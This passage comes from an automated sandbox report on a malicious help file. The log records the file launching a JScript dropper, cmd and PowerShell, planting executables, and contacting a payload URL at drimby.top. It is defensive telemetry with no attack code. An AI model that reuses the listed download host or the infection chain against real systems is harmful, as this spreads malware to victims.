"HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "hh.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "hh.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "hh.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "hh.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "hh.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "hh.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "hh.exe" touched "This Device" (Path: "HKCU\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "hh.exe" touched "CLSID_AppInstanceFolder" (Path: "HKCU\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "hh.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "hh.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "hh.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "hh.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "hh.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "hh.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "hh.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "hh.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "hh.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "hh.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "hh.exe" touched "StreamBackedFolder" (Path: "HKCU\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "hh.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "hh.exe" touched "Removable Drives" (Path: "HKCU\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER") "hh.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "hh.exe" touched "Sync root manager" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\TREATAS") "hh.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\INPROCSERVER32") "hh.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\INPROCSERVER32") "hh.exe" touched "ShellItem Shell Namespace helper" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "wscript.exe" touched "JScript Language Encoding" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}") "wscript.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "wscript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "wscript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS")38:T490,Process "hh.exe" (UID: 00000000-00005668) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "hh.exe" (UID: 00000000-00005668) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "hh.exe" (UID: 00000000-00005668) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "WScript.exe" (UID: 00000000-00005764) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "WScript.exe" (UID: 00000000-00005764) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "WScript.exe" (UID: 00000000-00005764) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, FPS_BROWSER_USER_PROFILE_STRING" Process "cmd.exe" (UID: 00000000-00006780) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "cmd.exe" (UID: 00000000-00006780) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432"39:T633,"hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "wscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "wscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "wscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")3a:Tef8,Observed system executable string:"%WINDIR%\system32\kernel32.dll" [Source: 00000000-00007804-00000C25-29872105] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00007804-00000C25-30273490] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00007804-00000C25-31905219] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00006256-00000C25-41295445] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00007740-00000C25-44084840] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00007740-00000C25-44157940] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007740-00000C25-44211074] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00007740-00000C25-44291512] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00007740-00000C25-44331267] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007740-00000C25-44368634] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00007740-00000C25-44449470] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00007740-00000C25-44501527] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00007740-00000C25-44527391] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00007740-00000C25-44582598] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00007740-00000C25-44898091] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00007740-00000C25-45032631] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00007740-00000C25-45252603] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00007740-00000C25-45282720] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00007740-00000C25-45308464] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00007740-00000C25-45990356] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00007740-00000C25-46528178] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00007740-00000C25-46693083] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll" [Source: 00000000-00007740-00000C25-46834954] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" [Source: 00000000-00007740-00000C25-47145427] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" [Source: 00000000-00007740-00000C25-47499707]3b:T6ad,"alg.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows"- Location: [%TEMP%\alg.exe]- [targetUID: 00000000-00003812] "Docs.jse.bin" has type "data"- [targetUID: N/A] "sgic_info.html" has type "HTML document UTF-8 Unicode text with very long lines with CRLF line terminators"- Location: [%PUBLIC%\Libraries\sgic_info.html]- [targetUID: 00000000-00005668] "m_tail_1_.jpg" has type "JPEG image data Exif standard: [TIFF image data big-endian direntries=12 height=15 bps=0 PhotometricIntepretation=RGB orientation=upper-left width=856] baseline precision 8 856x15 components 3"- [targetUID: N/A] "m_top_01_1_.jpg" has type "JPEG image data JFIF standard 1.01 resolution (DPI) density 96x96 segment length 16 Exif Standard: [TIFF image data big-endian direntries=0] baseline precision 8 757x96 components 3"- [targetUID: N/A] "hh.dat" has type "MS Windows HtmlHelp Data"- Location: [%APPDATA%\Microsoft\HTML Help\hh.dat]- [targetUID: 00000000-00007804] "IMT9FB8.tmp" has type "data"- Location: [%TEMP%\IMT9FB8.tmp]- [targetUID: 00000000-00007804] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00006336] "m_back_1_.gif" has type "GIF image data version 89a 852 x 1"- [targetUID: N/A] "IMT5E1D.tmp" has type "MySQL table definition file Version 0 type UNKNOWN"- Location: [%TEMP%\IMT5E1D.tmp]- [targetUID: 00000000-00007804] "Docs.jse" has type "data"- Location: [%PUBLIC%\Libraries\Docs.jse]- [targetUID: 00000000-00005668] "Docs_1_.jse" has type "data"- [targetUID: N/A] "urlref_httpsdrimby.topwndfi" has type "PE32+ executable (GUI) x86-64 for MS Windows"- [targetUID: N/A]3c:T828,"hh.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\INSTANCE"; Key: ""; Value: "") "hh.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\INSTANCE"; Key: ""; Value: "") "hh.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\INSTANCE\DISABLED"; Key: ""; Value: "") "hh.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\INSTANCE\DISABLED"; Key: ""; Value: "") "hh.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{7835EAE8-BF14-49D1-93CE-533A407B2248}\INSTANCE"; Key: ""; Value: "") "hh.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7835EAE8-BF14-49D1-93CE-533A407B2248}\INSTANCE"; Key: ""; Value: "") "hh.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{72B624DF-AE11-4948-A65C-351EB0829419}"; Key: ""; Value: "") "hh.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{72B624DF-AE11-4948-A65C-351EB0829419}"; Key: ""; Value: "") "hh.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{72B624DF-AE11-4948-A65C-351EB0829419}\TREATAS"; Key: ""; Value: "") "hh.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{72B624DF-AE11-4948-A65C-351EB0829419}\TREATAS"; Key: ""; Value: "") "hh.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{72B624DF-AE11-4948-A65C-351EB0829419}\INPROCSERVER32"; Key: ""; Value: "") "hh.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{72B624DF-AE11-4948-A65C-351EB0829419}\INPROCSERVER32"; Key: ""; Value: "") "hh.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{72B624DF-AE11-4948-A65C-351EB0829419}\INPROCHANDLER32"; Key: ""; Value: "") "hh.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{72B624DF-AE11-4948-A65C-351EB0829419}\INPROCHANDLER32"; Key: ""; Value: "") "hh.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{72B624DF-AE11-4948-A65C-351EB0829419}\INPROCHANDLER"; Key: ""; Value: "") "hh.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{72B624DF-AE11-4948-A65C-351EB0829419}\INPROCHANDLER"; Key: ""; Value: "")3d:T645,"hh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{72B624DF-AE11-4948-A65C-351EB0829419}"; Key: ""; Value: "") "hh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{72B624DF-AE11-4948-A65C-351EB0829419}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "hh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{72B624DF-AE11-4948-A65C-351EB0829419}\INPROCSERVER32"; Key: ""; Value: "") "hh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{72B624DF-AE11-4948-A65C-351EB0829419}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: "") "hh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{72B624DF-AE11-4948-A65C-351EB0829419}"; Key: "APPID"; Value: "") "hh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{88D96A05-F192-11D4-A65F-0040963251E5}"; Key: ""; Value: "") "hh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{88D96A05-F192-11D4-A65F-0040963251E5}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "hh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{88D96A05-F192-11D4-A65F-0040963251E5}\INPROCSERVER32"; Key: ""; Value: "") "hh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{88D96A05-F192-11D4-A65F-0040963251E5}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: "") "hh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{88D96A05-F192-11D4-A65F-0040963251E5}"; Key: "APPID"; Value: "") "hh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "")3e:T5de,"hh.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache" "hh.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCookies" "hh.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "hh.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\9SSPAW46\Docs[1].jse" "hh.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "hh.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\9SSPAW46\m_top_01[1].jpg" "hh.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache" "hh.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCookies" "hh.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "hh.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "wscript.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "wscript.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "powershell.exe" touched file "C:\Windows\System32\CatRoot" "powershell.exe" touched file "C:\Windows\System32\catroot2" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive" "powershell.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive" "WScript.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "WScript.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches"3f:T488,"hh.exe" trying to access non-existent file "C:\Windows\FLTLIB.DLL" "hh.exe" trying to access non-existent file "C:\Windows\MSISO.DLL" "hh.exe" trying to access non-existent file "C:\WINDOWS\msIso.dll" "hh.exe" trying to access non-existent file "C:\Program Files\Microsoft Office\Office14\OUTLLIB.DLL" "hh.exe" trying to access non-existent file "C:\Program Files\Microsoft Office\Office14\outllib.dll" "hh.exe" trying to access non-existent file "C:\Program Files\Microsoft Office\Office14\OUTLLIB.DLL.DLL" "hh.exe" trying to access non-existent file "C:\Program Files\Microsoft Office\Office14\outllib.dll.DLL" "hh.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "hh.exe" trying to access non-existent file "C:\Windows\SECUR32.DLL" "hh.exe" trying to access non-existent file "C:\WINDOWS\Secur32.dll" "hh.exe" trying to access non-existent file "C:\Windows\MLANG.DLL" "hh.exe" trying to access non-existent file "C:\WINDOWS\MLANG.dll" "hh.exe" trying to access non-existent file "C:\Windows\System32\PHONEINFO.DLL" "hh.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\phoneinfo.dll"40:T559,"hh.exe" trying to access non-existent file "C:\Windows\HH.EXE.LOCAL" "hh.exe" trying to access non-existent file "C:\WINDOWS\hh.exe.Local\" "hh.exe" trying to access non-existent file "C:\ProgramData\Microsoft\HTML HELP" "hh.exe" trying to access non-existent file "C:\ProgramData\Microsoft\HTML Help" "hh.exe" trying to access non-existent file "C:\ProgramData\Microsoft\HTML Help\HHCOLREG.DAT" "hh.exe" trying to access non-existent file "C:\SGIC_INFO.CHI" "hh.exe" trying to access non-existent file "C:\sgic_info.chi" "hh.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\HTML HELP" "hh.exe" trying to access non-existent file "C:\Users\WAGmQXy\AppData\Roaming\Microsoft\HTML Help" "hh.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\HTML Help\HH.DAT" "hh.exe" trying to access non-existent file "C:\Users\WAGmQXy\AppData\Roaming\Microsoft\HTML Help\hh.dat" "hh.exe" trying to access non-existent file "C:\Windows\HH.DAT" "hh.exe" trying to access non-existent file "C:\WINDOWS\hh.dat" "hh.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "hh.exe" trying to access non-existent file "C:\WINDOWS\System32\mscoree.dll.local" "hh.exe" trying to access non-existent file "C:\Windows\HH.EXE.CONFIG" "hh.exe" trying to access non-existent file "C:\hh"41:T901,Pattern match: "https://drimby.top/wndfi" Pattern match: "www.sgic.co.kr" Heuristic match: "xY.Gs" Pattern match: "http://www.iec.chIEC" Pattern match: "ns.adobe.com/xap/1.0/" Heuristic match: "egismail.sgic.co.kr" Heuristic match: "drimby.top" Pattern match: "http://schemas.microsoft.com/SMI/2005/WindowsSettings" Pattern match: "http://reaver.softforum.com/XecureDemo/up/XEM/img/h_logo-mini.gif" Pattern match: "http://reaver.softforum.com/XecureDemo/up/XEM/img/h2_title-mini.jpg" Pattern match: "http://reaver.softforum.com/XecureDemo/up/XEM/img/bg_content.jpg" Pattern match: "http://reaver.softforum.com/XecureDemo/up/XEM/img/ico_pw.png" Pattern match: "http://reaver.softforum.com/XecureDemo/up/XEM/img/detail01-mini.jpg" Pattern match: "http://reaver.softforum.com/XecureDemo/up/XEM/img/detail02-mini.jpg" Pattern match: "http://reaver.softforum.com/XecureDemo/up/XEM/img/detail03-mini.jpg" Pattern match: "http://reaver.softforum.com/XecureDemo/up/XEM/img/detail04-mini.jpg" Pattern match: "http://reaver.softforum.com/XecureDemo/up/XEM/img/indicator.gif" Pattern match: "http://reaver.softforum.com/XecureDemo/up/anySign_shkwon/xev/xev_install_x86.cab#Version=2,9,2,0" Pattern match: "http://reaver.softforum.com/XecureDemo/up/anySign_shkwon/xev/xev_install_x64.cab#Version=2,9,2,0" Pattern match: "http://reaver.softforum.com/XecureDemo/up/anySign_shkwon/xev/xev_install_x86.exe" Pattern match: "https://play.google.com/store/apps/details?id=com.softforum.xemobile" Pattern match: "https://itunes.apple.com/kr/app/xecureexpress-for-mobile/id839379759?mt=8" Pattern match: "http://egismail.sgic.co.kr/common/images/exprtInstrImg/m_top_01.jpg" Pattern match: "http://egismail.sgic.co.kr/common/images/exprtInstrImg/m_back.gif" Pattern match: "http://egismail.sgic.co.kr/common/images/exprtInstrImg/m_tail.jpg" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74408&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%d" Pattern match: "https://go.microsoft.com/fwlink/?LinkID=851034&clcid=0x409&" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitReport" Pattern match: "http://www.validationtest.contoso.com/test%d.html"42:T133e9,Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found URL "https://drimby.top/wndfi" - Source: "00000000-00006336.00000000.86016.DAEF0000.00000004.mdmp") Found URL "https://drimby.top/wndfiystem.composition.typedpartsicrosoft.powershell.consolehosticrosoft.powershell.consolehosthosticrosoft.powershell.consolehostystem.management.automationystem.management.automationachine_configystem.composition.conventionystem.composition.typedpartsystem.threading.tasks.dataflowystem.web.webpages.deploymentrg" - Source: "00000000-00006336.00000000.86016.DAEF0000.00000004.mdmp") Found URL "https://drimby.top/wndfiystem.threading.tasks.dataflowystem.web.webpages.administrationhostt" - Source: "00000000-00006336.00000000.86016.DAEF0000.00000004.mdmp") Found URL "https://drimby.top/wndfipsmodulepath=c:\windows\system32\windowspowershell\v1.0\modules\;c:\program" - Source: "00000000-00006336.00000000.86016.DAEF0000.00000004.mdmp") Found URL "https://drimby.top/wndfipath=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\local\programs\python\python311\scripts\;c:\users\hapubws\appdata\local\programs\python\python311\;c:\users\hapubws\appdata\local\microsoft\windowsapps;;c:\program" - Source: "00000000-00006336.00000000.86016.DAEF0000.00000004.mdmp") Found URL "https://drimby.top/wndfiprogramdata=c:\programdatatmp=c:\users\wagmqxy\appdata\local\tempprocessor_architecture=amd64programw6432=c:\program" - Source: "00000000-00006336.00000000.86016.DAEF0000.00000004.mdmp") Found URL "https://drimby.top/wndficomspec=c:\windows\system32\cmd.exetmp=c:\users\wagmqxy\appdata\local\tempprocessor_architecture=amd64onedrive=c:\users\hapubws\onedriveprogramw6432=c:\program" - Source: "00000000-00006336.00000000.86016.DAEF0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006336.00000000.86016.DAEF0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00006336.00000000.86016.DAEF0000.00000004.mdmp") Found URL "https://drimby.top/wndfiicrosoft.powershell.consolehost," - Source: "00000000-00006336.00000000.86016.DB2B0000.00000004.mdmp") Found URL 